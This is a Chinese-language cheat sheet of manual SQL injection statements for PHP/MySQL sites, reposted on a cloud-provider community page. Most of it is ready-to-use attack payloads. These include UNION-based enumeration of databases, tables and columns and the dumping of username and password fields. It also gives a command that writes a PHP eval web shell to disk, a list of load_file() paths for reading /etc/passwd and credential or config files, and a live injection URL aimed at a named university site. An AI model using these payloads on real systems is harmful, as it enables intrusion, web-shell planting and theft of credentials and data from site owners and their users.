PHP+MySQL 手工注入語句大全 推薦

來源:互聯網
上載者:User

暴欄位長度

Order by num/*

匹配欄位

and 1=1 union select 1,2,3,4,5…….n/*

暴欄位位置

and 1=2 union select 1,2,3,4,5…..n/*

利用內建函數暴資料庫資訊

version() database() user()

不用猜解可用欄位暴資料庫資訊(有些網站不適用):

and 1=2 union all select version() /*

and 1=2 union all select database() /*

and 1=2 union all select user() /*

作業系統資訊:

and 1=2 union all select @@global.version_compile_os from mysql.user /*

資料庫許可權:

and ord(mid(user(),1,1))=114 /* 返回正常說明為root

暴庫 (mysql>5.0)

Mysql 5 以上有內建庫 information_schema,儲存著mysql的所有資料庫和表結構資訊

and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

猜表

and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=資料庫(十六進位) limit 0(開始的記錄,0為第一個開始記錄),1(顯示1條記錄)—

猜欄位

and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六進位)limit 0,1

暴密碼

and 1=2 Union select 1,2,3,使用者名稱段,5,6,7,密碼段,8,9 from 表名 limit 0,1

進階用法(一個可用欄位顯示兩個資料內容):

Union select 1,2,3concat(使用者名稱段,0x3c,密碼段),5,6,7,8,9 from 表名 limit 0,1

直接寫馬(Root許可權)

條件:1、知道網站實體路徑

2、有足夠大的許可權(可以用select …. from mysql.user測試)

3、magic_quotes_gpc()=OFF

select ‘<?php eval($_POST[cmd])?>' into outfile ‘實體路徑'

and 1=2 union all select 一句話HEX值 into outfile '路徑'

load_file() 常用路徑:

  1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
  2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
  上面兩個是查看一個PHP檔案裡完全顯示代碼.有些時候不替換一些字元,如 “<” 替換成”空格” 返回的是網頁.而無法查看到代碼.
  3、 load_file(char(47)) 可以列出FreeBSD,Sunos系統根目錄
  4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虛擬機器主機設定檔
  5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系統apache檔案
  6、c:/Resin-3.0.14/conf/resin.conf 查看jsp開發的網站 resin檔案配置資訊.
  7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系統配置的JSP虛擬機器主機
  8、d:\APACHE\Apache2\conf\httpd.conf
  9、C:\Program Files\mysql\my.ini
  10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路徑
  11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虛擬機器主機設定檔
  12、 /usr/local/resin-3.0.22/conf/resin.conf 針對3.0.22的RESIN設定檔查看
  13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
  14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虛擬機器主機查看
  15、 /etc/sysconfig/iptables 本看防火牆策略
  16 、 usr/local/app/php5 b/php.ini PHP 的相當設定
  17 、/etc/my.cnf MYSQL的設定檔
  18、 /etc/redhat-release 紅帽子的系統版本
  19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系統中的使用者密碼
  20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
  21、/usr/local/app/php5 b/php.ini //PHP相關設定
  22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虛擬網站設定
  23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
  24、c:\windows\my.ini
25、c:\boot.ini

網站常用設定檔 config.inc.php、config.php。load_file()時要用replace(load_file(HEX),char(60),char(32))

註:

Char(60)表示 <

Char(32)表示 空格

手工注射時出現的問題:

當注射後頁面顯示:

Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

如:http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20

這是由於前後編碼不一致造成的,

解決方案:在參數前加上 unhex(hex(參數))就可以了。上面的URL就可以改為:

http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20

既可以繼續注射了。。。

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.